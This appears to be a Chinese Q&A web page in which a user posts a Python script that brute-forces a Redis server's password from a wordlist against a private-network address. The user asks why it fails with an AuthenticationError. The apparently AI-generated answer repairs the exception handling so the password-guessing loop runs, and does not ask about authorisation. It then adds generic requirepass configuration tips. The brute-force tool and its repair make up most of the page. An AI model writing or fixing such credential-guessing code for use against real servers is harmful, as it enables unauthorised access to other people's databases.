import redis def redis_brute(ip, port, password_file): r = redis.Redis(host=ip, port=port) with open(password_file) as f: for line in f: password = line.strip() try: r.auth(password) print(f"Success! Password is {password}") return True except redis.exceptions.ResponseError: print(f"Failed! Password is {password}") return False if __name__ == '__main__': ip = '192.168.137.156' port = 6379 password_file = 'password.txt' redis_brute(ip, port, password_file) 为什么会报这个错误,可否帮我修改一下代码使之正确 redis.exceptions.AuthenticationError: invalid username-password pair or user is disabled.
时间: 2023-06-12 09:02:45 浏览: 121
这个错误通常是因为 Redis 服务的用户名和密码不匹配或者用户被禁用。你可以尝试修改代码,将异常类型修改为 `redis.exceptions.AuthenticationError`,并添加相应的错误处理:
```
import redis
def redis_brute(ip, port, password_file):
r = redis.Redis(host=ip, port=port)
with open(password_file) as f:
for line in f:
password = line.strip()
try:
r.auth(username=None, password=password)
print(f"Success! Password is {password}")
return True
except redis.exceptions.AuthenticationError:
print(f"Failed! Password is {password}")
return False
if __name__ == '__main__':
ip = '192.168.137.156'
port = 6379
password_file = 'password.txt'
redis_brute(ip, port, password_file)
```
另外,你可以尝试在 Redis 服务中指定用户名和密码,例如:
```
requirepass your_password
```
然后在 Python 代码中使用指定的用户名和密码进行连接:
```
r = redis.Redis(host=ip, port=port, username='your_username', password='your_password')
```
相关推荐
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)